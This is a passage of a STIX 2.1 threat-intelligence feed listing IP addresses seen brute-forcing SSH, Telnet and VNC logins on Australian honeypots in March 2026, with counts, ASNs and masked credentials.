      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, r**t.",
      "id": "indicator--7247f046-194a-4aec-9d18-3192c40ed873",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.0.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--edbc6fa2-87ef-48b8-91ef-eec41bae313b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.38.208.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): j*****a, o******r, s***5. Passwords observed (masked): j*****a, o******r, s***5.",
      "id": "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--efc87c8e-810d-4545-a7bd-fdd589eb6f89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.238.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 206888. Organisation(s): HanMing HK Limited.",
      "id": "indicator--81b9bfd7-896d-428a-bee4-dd8bab50eac4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.114.127.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--88cdec28-47f5-4f0d-bdfb-09ecb87ec8d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '71.90.30.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:15:13.000Z",
      "valid_until": "2026-04-15T14:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t, r*****3.",
      "id": "indicator--2be4426e-a4ed-4d49-8835-b295965575fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.182.157.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--61f35dba-a4e0-4acb-a222-f8cf645a4a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.206.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.236.35.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262887. Organisation(s): RAPIX INTERNET.",
      "id": "indicator--743e869e-8ece-4953-92f9-a5f1544f9ca3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.208.246.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9929. Organisation(s): CHINA UNICOM Industrial Internet Backbone. Usernames observed (masked): **. Passwords observed (masked): m****4.",
      "id": "indicator--45e97772-b791-45f8-9998-d939d74319de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.13.100.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9416. Organisation(s): Hoshin Multimedia Center Inc..",
      "id": "indicator--35ac1a59-a3c9-43b5-af0c-259daa05044a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.70.158.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T15:15:13.000Z",
      "valid_until": "2026-04-15T15:15:11.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 338. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, e******r, ***, m*****a, w****r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, 1****6.",
      "id": "indicator--5684d6c5-b224-4877-9a2c-6d102994a778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.207.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, ***, m*****a, w****r, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, 1****6.",
      "id": "indicator--ca950a27-7f7f-4050-ad9a-252ee5da3a33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 56150. Organisation(s): Viet Solutions Services Trading Company Limited. Usernames observed (masked): 3**********4, e*******l, j***n, r**t, g**d. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, P*******1.",
      "id": "indicator--a21ee395-ff9e-40d5-8b4a-04b0c1f649c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.27.60.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 54994. Organisation(s): Meteverse Limited.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a018de77-ae71-4044-afa4-e6492bf77250",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.111.54.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 216246. Organisation(s): Aeza Group LLC.",
      "id": "indicator--39341a5a-2d48-41df-b7eb-696e7b987758",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.20.208.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): 3**********4, e*******l, s*****e, **, r**t. Passwords observed (masked): 3***********4, 3**********4, ***, P*******1, S*********!.",
      "id": "indicator--10c56676-8514-4c25-8d31-9bc73d9232be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.46.188.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): ***, 3**********4, ***, g***********r, i*****m. Passwords observed (masked): 1***5, ***, 1**4, 1******8, 3***********4.",
      "id": "indicator--158679e5-5b15-4eae-b019-177f3b3d1b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.155.21.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 338. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): 3**********4, e******r, ***, m*****a, w****r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, 1****6.",
      "id": "indicator--4e6b2942-dc51-4fa9-94b2-2ba3f4e5b03c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.163.113.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--b611f954-3510-405e-ae05-3c185db2b5f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.126.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): e*******l, 3**********4, h**i, j***n, **. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, P*******1.",
      "id": "indicator--a2d2fb84-936f-42d6-8edd-778966c8e329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.236.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T16:15:14.000Z",
      "valid_until": "2026-04-15T16:15:12.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 149526. Organisation(s): GITELENET PRIVATE LIMITED. Usernames observed (masked): ***, 3**********4, c**p, c******r, ***. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.182.132.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2db96f40-5ef5-4563-b65d-264fd9b7d9ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--20e87c7b-68a5-4141-9cc4-ed3a44c884c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 42397. Organisation(s): Bunea TELECOM SRL.",
      "id": "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.29.13.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a6049f24-8650-4273-9511-0542ebef210c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--4f9f4eaa-aeba-4215-864a-ef04503d1542",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.123.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2518. Organisation(s): BIGLOBE Inc..",
      "id": "indicator--c5cd1e79-bc68-418b-ad75-bee6efa36e76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.236.59.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--77d629ca-aaf3-4787-918c-f9195687a239",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T17:15:13.000Z",
      "valid_until": "2026-04-15T17:15:11.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--ed036b02-857f-4942-bcf9-ccce2ee26aea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.206.100.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 115. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): J******3, e******r, m******t.",
      "id": "indicator--840cdf6d-1ef5-4d55-95dd-11a6c66c48f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.216.241.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d962f10c-29b2-4942-a11d-9ad3afc585e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T18:15:15.000Z",
      "valid_until": "2026-04-15T18:15:12.000Z"
    },
    {
      "created": "2026-03-14T18:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9cf3bcff-802b-41f5-b356-def4f13658f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-14T18:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.127.224.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
